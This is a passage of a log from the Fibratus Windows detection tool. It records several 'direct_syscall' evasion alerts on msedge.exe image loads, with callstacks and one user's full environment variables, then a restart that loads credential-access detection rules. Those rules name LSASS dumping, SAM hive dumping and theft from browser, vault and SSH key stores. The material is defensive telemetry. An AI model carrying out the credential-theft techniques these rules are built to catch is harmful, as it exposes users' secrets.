(x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f12a791 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8cec37d9 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec2704 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec1a6b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec0b46 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceaea2f C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceae2af C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceada86 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cead471 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ff7cf770137 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf76cfb6 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf81ce32 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:25+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4193417 + Pid: 7364 + Tid: 18496 + Type: LoadImage + CPU: 0 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:14.9390259 +0100 CET + Params: base_address➜ 7ffcd6180000, checksum➜ 769657, default_address➜ 7ffcd6180000, file_path➜ C:\Windows\System32\policymanager.dll, image_size➜ 741376, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcdea54294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6996 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea2d7d3 C:\Windows\System32\ntdll.dll!RtlGuardCheckLongJumpTarget|0x7ffcdea2b94d C:\Windows\System32\ntdll.dll!LdrResolveDelayLoadedAPI|0x7ffccda59962 C:\Windows\System32\twinapi.appcore.dll!Ordinal3|0x7ffccda9a564 C:\Windows\System32\twinapi.appcore.dll!PsmShutdownApplication|0x7ffccda36558 C:\Windows\System32\twinapi.appcore.dll!PsmRegisterAppStateChangeNotification|0x7ffc8f16172e C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f15e23a C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f15d572 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f15c10e C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f16c21b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f7b76b4 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!RelaunchChromeBrowserWithNewCommandLineIfNeeded|0x7ffc8f7b7506 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!RelaunchChromeBrowserWithNewCommandLineIfNeeded|0x7ffc8f7b7043 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!RelaunchChromeBrowserWithNewCommandLineIfNeeded|0x7ffc8ec5a20a C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8ed46dc3 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8efb6a46 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8efb62b1 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8efb5477 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8efb4eb7 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8efb4a5b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8efb48e3 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f6d646e C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!RelaunchChromeBrowserWithNewCommandLineIfNeeded|0x7ffc8f6d613c C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!RelaunchChromeBrowserWithNewCommandLineIfNeeded|0x7ffc8ed9fcf1 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8ed9fa8e C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8ed97c5d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8ed96cbd C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8ed9617f C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8f12a9c2 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f12a791 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8cec37d9 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec2704 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec1a6b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec0b46 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceaea2f C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceae2af C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceada86 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cead471 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ff7cf770137 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf76cfb6 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf81ce32 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:25+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4193495 + Pid: 7364 + Tid: 6260 + Type: LoadImage + CPU: 4 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:14.9431488 +0100 CET + Params: base_address➜ 7ffca7aa0000, checksum➜ 68155, default_address➜ 7ffca7aa0000, file_path➜ C:\Windows\System32\linkinfo.dll, image_size➜ 61440, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e3c3c C:\Windows\System32\ntdll.dll!RtlGetFullPathName_UstrEx|0x7ffcdea541ba C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6996 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea2d7d3 C:\Windows\System32\ntdll.dll!RtlGuardCheckLongJumpTarget|0x7ffcdea2b94d C:\Windows\System32\ntdll.dll!LdrResolveDelayLoadedAPI|0x7ffcddc7bcb2 C:\Windows\System32\shell32.dll!SHELL32_SendToMenu_VerifyTargetedCommand|0x7ffcddd7ffe2 C:\Windows\System32\shell32.dll!PathCleanupSpec|0x7ffcd99120ac C:\Windows\System32\windows.storage.dll!IsUnderKnownFolder|0x7ffcd997d3d7 C:\Windows\System32\windows.storage.dll!Global_WindowsStorage_csIconCache|0x7ffcd997d0b5 C:\Windows\System32\windows.storage.dll!Global_WindowsStorage_csIconCache|0x7ffcd99ac4e9 C:\Windows\System32\windows.storage.dll!Ordinal2001|0x7ffcd99ac485 C:\Windows\System32\windows.storage.dll!Ordinal2001|0x7ffc8e9361b0 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc98b61614 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateTestWebClientProxy|0x7ffc9a9a88de C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateTestWebClientProxy|0x7ffc8e961f87 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8e961e76 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8e63cc48 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d45fd2d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d45ea50 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8cdb500b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce05198 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce29a08 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:28+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-05T13:32:28+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-05T13:32:29+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-05T13:37:38+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml 